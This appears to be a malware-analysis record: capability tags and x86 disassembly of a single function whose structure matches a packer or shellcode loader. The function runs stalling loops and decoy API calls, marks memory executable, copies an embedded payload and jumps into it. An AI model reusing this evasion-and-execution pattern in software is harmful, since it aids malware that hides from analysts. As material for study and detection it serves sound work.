Function at 0x403cdf
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0x207142
jg 0x403d0c
inc edi
cmp edi, 0x67d12
jl 0x403cef
cmp dword [0x2818bc4], 0x93
jne 0x403dc1
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push 0x403808
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push 0x403830
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x403814
push 0x403878
push 0x4038a4
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
call fcn.00404304
push esi
push esi
call fcn.004047f0
push esi
push esi
call fcn.0040482b
push esi
call fcn.00404c5a
push esi
push esi
call fcn.004042d3
add esp, 0x20
mov eax, dword [0x42ac2c]
add dword [0x2818bc4], 0x1134b
push 0x4038d0
mov dword [0x2819a00], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x4038ec
push eax
mov dword [0x2818654], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2818bc4]
mov dword [0x2818648], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2818bc4]
mov dword [0x2818650], eax
push eax
call dword [0x2818648]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403e20
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2818bc4], esi
jbe 0x403e9e
mov eax, dword [0x2819a00]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2818650]
mov byte [ecx + edi], al
cmp dword [0x2818bc4], 0x490
jne 0x403e95
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2818bc4]
jb 0x403e4c
xor edi, edi
mov eax, dword [0x2818bc4]
add eax, edi
cmp eax, 0x8d
jne 0x403edf
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x4038fc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x403900
push 0x403918
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x403ea0
call fcn.00403c07
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403f0d
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x61ae
mov eax, dword [ebp - 4]
add dword [0x2818650], eax
inc edi
cmp edi, 0x674bd
jl 0x403eef
push 0x7b
pop edi
cmp dword [0x2818bc4], 0x86
jne 0x403f54
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403938
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403f19
push 0x4039a4
call ebx
call dword [0x2818650]
pop edi
pop esi
pop ebx
leave
ret